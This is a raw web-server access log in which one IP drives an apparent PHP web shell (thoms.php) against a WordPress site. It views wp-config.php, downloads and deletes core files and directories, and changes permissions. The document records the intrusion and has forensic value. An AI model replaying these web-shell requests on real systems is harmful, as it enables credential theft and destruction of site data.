45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-trackback.php&p=bioway88.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-trackback.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /thoms.php?dl=.htaccess&p=bioway88.com.tw HTTP/1.1" 200 17409 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /thoms.php?p=bioway88.com.tw&upload= HTTP/1.1" 200 12157 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /thoms.php?del=license.txt&p=bioway88.com.tw HTTP/1.1" 200 17407 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:58 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-admin HTTP/1.1" 200 28861 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:59 -0400] "GET /bioway88.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:59 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12031 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:59 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bioway88.com.tw HTTP/1.1" 200 17405 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:59 -0400] "GET /thoms.php?chmod=wp-load.php&p=bioway88.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-load.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:59 -0400] "GET /bioway88.com.tw/wp-activate.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:59 -0400] "GET /thoms.php?chmod=readme.html&p=bioway88.com.tw HTTP/1.1" 200 11493 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:59 -0400] "GET /thoms.php?del=wp-load.php&p=bioway88.com.tw HTTP/1.1" 200 17402 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:59 -0400] "GET /thoms.php?del=wp-settings.php&p=bioway88.com.tw HTTP/1.1" 200 17403 "http://163.245.207.76:443/thoms.php?del=wp-settings.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:59 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fcgi-bin HTTP/1.1" 200 12043 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:59 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-cron.php&p=bioway88.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-cron.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:59 -0400] "GET /thoms.php?dl=wp-links-opml.php&p=bioway88.com.tw HTTP/1.1" 200 17402 "http://163.245.207.76:443/thoms.php?dl=wp-links-opml.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:00 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-login.php&p=bioway88.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-login.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:38:59 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fwp-includes HTTP/1.1" 200 59209 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:00 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-mail.php&p=bioway88.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-mail.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:00 -0400] "GET /bioway88.com.tw/partial-filter/ HTTP/1.1" 200 6350 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:00 -0400] "GET /thoms.php?del=partial-filter&p=bioway88.com.tw HTTP/1.1" 200 17410 "http://163.245.207.76:443/thoms.php?del=partial-filter&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:00 -0400] "GET /bioway88.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:00 -0400] "GET /thoms.php?chmod=index.php&p=bioway88.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:00 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fmember-suspended HTTP/1.1" 200 13421 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw%2Fmember-suspended" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:00 -0400] "GET /thoms.php?del=cgi-bin&p=bioway88.com.tw HTTP/1.1" 200 17411 "http://163.245.207.76:443/thoms.php?del=cgi-bin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:00 -0400] "GET /thoms.php?dl=readme.html&p=bioway88.com.tw HTTP/1.1" 200 17409 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:00 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-config.php&p=bioway88.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-config.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:00 -0400] "GET /thoms.php?del=wp-login.php&p=bioway88.com.tw HTTP/1.1" 200 17401 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:00 -0400] "GET /thoms.php?dl=wp-signup.php&p=bioway88.com.tw HTTP/1.1" 200 17409 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:00 -0400] "GET /bioway88.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:00 -0400] "GET /bioway88.com.tw/thoms.php?p= HTTP/1.1" 200 17675 "https://163.245.207.76/bioway88.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:01 -0400] "GET /thoms.php?p=bioway88.com.tw&view=readme.html HTTP/1.1" 200 15235 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=readme.html" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:01 -0400] "GET /bioway88.com.tw/.well-known/ HTTP/1.1" 200 782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:01 -0400] "GET /thoms.php?del=.well-known&p=bioway88.com.tw HTTP/1.1" 200 17411 "http://163.245.207.76:443/thoms.php?del=.well-known&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:01 -0400] "GET /bioway88.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:01 -0400] "GET /thoms.php?del=member-suspended&p=bioway88.com.tw HTTP/1.1" 200 17412 "http://163.245.207.76:443/thoms.php?del=member-suspended&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:01 -0400] "GET /thoms.php?del=wp-content&p=bioway88.com.tw HTTP/1.1" 200 17411 "http://163.245.207.76:443/thoms.php?del=wp-content&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:01 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-comments-post.php HTTP/1.1" 200 13035 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=wp-comments-post.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:01 -0400] "GET /thoms.php?chmod=wp-includes&p=bioway88.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:01 -0400] "GET /thoms.php?dl=error_log&p=bioway88.com.tw HTTP/1.1" 200 17413 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:01 -0400] "GET /thoms.php?copy=bioway88.com.tw%2F.htaccess&p=bioway88.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2F.htaccess&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:01 -0400] "GET /thoms.php?chmod=cgi-bin&p=bioway88.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:01 -0400] "GET /thoms.php?chmod=locoy.php&p=bioway88.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:01 -0400] "GET /bioway88.com.tw/locoy.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /thoms.php?del=mah.php&p=bioway88.com.tw HTTP/1.1" 200 17410 "http://163.245.207.76:443/thoms.php?del=mah.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bioway88.com.tw HTTP/1.1" 200 17413 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fmah.php&p=bioway88.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fmah.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11822 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /bioway88.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bioway88.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bioway88.com.tw HTTP/1.1" 200 17413 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /thoms.php?chmod=wp-config.php&p=bioway88.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-config.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /bioway88.com.tw/ HTTP/1.1" 404 18422 "https://163.245.207.76/bioway88.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /bioway88.com.tw/cgi-bin/ HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /thoms.php?del=wp-config.php&p=bioway88.com.tw HTTP/1.1" 200 17413 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /bioway88.com.tw/wp-links-opml.php HTTP/1.1" 200 215 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bioway88.com.tw HTTP/1.1" 200 11498 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-blog-header.php&p=bioway88.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-blog-header.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /bioway88.com.tw/upgrade/ HTTP/1.1" 200 6736 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:02 -0400] "GET /bioway88.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /thoms.php?chmod=xmlrpc.php&p=bioway88.com.tw HTTP/1.1" 200 11494 "http://163.245.207.76:443/thoms.php?chmod=xmlrpc.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-config.php HTTP/1.1" 200 13731 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-load.php HTTP/1.1" 200 13658 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /bioway88.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-load.php&p=bioway88.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-load.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /thoms.php?del=.htaccess&p=bioway88.com.tw HTTP/1.1" 200 17413 "http://163.245.207.76:443/thoms.php?del=.htaccess&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Flicense.txt&p=bioway88.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Flicense.txt&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /thoms.php?chmod=license.txt&p=bioway88.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /thoms.php?del=readme.html&p=bioway88.com.tw HTTP/1.1" 200 17412 "http://163.245.207.76:443/thoms.php?del=readme.html&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /bioway88.com.tw/wp-settings.php HTTP/1.1" 500 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bioway88.com.tw HTTP/1.1" 200 17388 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-comments-post.php&p=bioway88.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-comments-post.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /thoms.php?p=bioway88.com.tw%2Fpartial-filter HTTP/1.1" 200 13298 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw%2Fpartial-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /thoms.php?chmod=upgrade&p=bioway88.com.tw HTTP/1.1" 200 11489 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-activate.php&p=bioway88.com.tw HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-activate.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /thoms.php?copy=bioway88.com.tw%2Fwp-config-sample.php&p=bioway88.com.tw HTTP/1.1" 200 11451 "http://163.245.207.76:443/thoms.php?copy=bioway88.com.tw%2Fwp-config-sample.php&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:03 -0400] "GET /bioway88.com.tw/wp-login.php HTTP/1.1" 404 18478 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /thoms.php?p=bioway88.com.tw&view=wp-signup.php HTTP/1.1" 200 22523 "http://163.245.207.76:443/thoms.php?p=bioway88.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /thoms.php?chmod=.htaccess&p=bioway88.com.tw HTTP/1.1" 200 11495 "http://163.245.207.76:443/thoms.php?chmod=.htaccess&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:39:04 -0400] "GET /thoms.php?del=upgrade&p=bioway88.com.tw HTTP/1.1" 200 17389 "http://163.245.207.76:443/thoms.php?del=upgrade&p=bioway88.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
